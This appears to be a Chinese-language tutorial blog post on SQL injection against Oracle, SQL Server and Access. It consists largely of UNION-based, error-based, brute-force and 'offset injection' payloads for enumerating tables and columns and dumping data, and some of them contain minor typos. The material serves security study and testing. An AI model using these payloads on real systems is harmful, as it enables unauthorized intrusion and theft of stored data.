sql注入(二)
oracle
一.基础知识
1>数据字典是元数据的集合,从逻辑和物理上描述了数据库及其内容,存储于SYSTEM和SYSAUX表空间的若干段中
2>数据字典中的数据比较复杂,一般查询的是数据字典的视图。数据字典视图有3个不同权限的分类,分别以user,all,dba开头。
最常用的三个数据字典视图:
1.user_tables
存储了用户拥有的表的信息,其作用类似于mysql的information_schema数据库中的tables表
2.user_tab_columns表
存储了用户拥有的列的信息
3.dual 表
是Oracle数据库中实际存在的表,任何用户均可读取,常用在oracle注入中没有目标的select语句中。
paload:
1>判断注入点
id =1 and 1=1
2>order by 判断字段数
id =1 and 1=2 order by 1 /*用字段所在的列表中的位置号代替字段名*/
3>判断报错点(能在页面上显示出来的)
id =1 and 1=2 union select null,null,null from dual
4.获取当前数据库名
查看当前用户信息
id =1 and 1=2 union select null,null,SYS_CONTEXT('USERENV','CURRENT_USER') from dual
查看当前用户权限
select * from session_roles
查看数据库版本
select banner from sys.v_$version where rownum =1
5>获取表名
id =1 and 1=2 union select null,null,table_name from user_tables
6>获取字段名
id=1 and 1=2 union select null,null,column_name from user_tab_columns
7>获取列中的数据
id =1 and 1=2 union select null,“字段名”,null from "表名"
SQL SERVER 注入
引入了一组目录视图作为保留系统元数据的通用接口。所有目录视图(包括动态管理对象和兼容性视图)都在sys模式中。访问对象时,必须引入模式名称。
SQL SERVER包含sysdatabases(数据库信息),sysobjects(所有对象信息),syscolumns(列名)三个目录视图。
payload
1>获取数据库名
方法1通过sys.databases表获取 SORTID =1 and (select top 1 name from sys.database )>0 方法2通过db_name()函数获取 SORTID=1 and db_name()>0 /*与0比较类型转换报错*/
2>获取数据库中的表名
SORTID =1 and 0<(select top 1 name from sec.dbo.sysobjects where xtype='U') /*xtype='U'表示用户表 xtype='S'表示系统表*/
爆出一个表名后,其他表可用 name not in (' 已经爆出的表名 ')
3>获取表中的列名
SORTID =1 and 0 < (select top 1 name from sec.dbo.syscolumns where id =(select id from sys.dbo.sysobjects where xtype ='U' and name ='xx'))
从表中获取其Id,利用该id查询第一个列名
4>获取列中的数据
and 0<(select top 1 columnname from sec.dbo.tablename)
Access
常见的Acess数据库文件的扩展名是mdb和accdb。
爆破法注入
1>猜解数据库的表名
ID = 1 and exists( select * from TableName)
2>猜解表中的列名
ID = 1 and exists( select ColumnName from TableName)
-
Acess数据库偏移注入
此方法解决90%注入能得到的表名,得不到字段的网站(工具也爆不出来),但是条件有局限性,必须有字段id,有些偏移不出来的。
偏移局限性,不能是负数。
原理:多表联接建立记录集
1.已知表名为admin
select exists(selct * from admin);
2.order by 判断字段数
3.union select …… 爆出显示位
4.用 * 测试admin表有几个字段
id =33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin #错误
id =33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin #错误
id =33 union select 1,2,3,4,5,6,7,8,9,10,11,* from admin #正确
以上说明表有11个字段
5.偏移注入的基本公式为:
order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案
18 - 11 =7 18 - 7*2 =4
id=33 union select 1,2,3,4 ,* from (admin as a inner join admin as b on a.id =b.id)
不成功则继续:
id=33 union select 1,2,3,4 a.id ,b.id,* from (admin as a inner join admin as b on a.id =b.id)
不成功则继续:
id=33 union select 1,2,3,4 a.id ,b.id,c.id,* from ((admin as a inner join admin as b on a.id =b.id) inner join admin as c on a.id = c.id)

浙公网安备 33010602011771号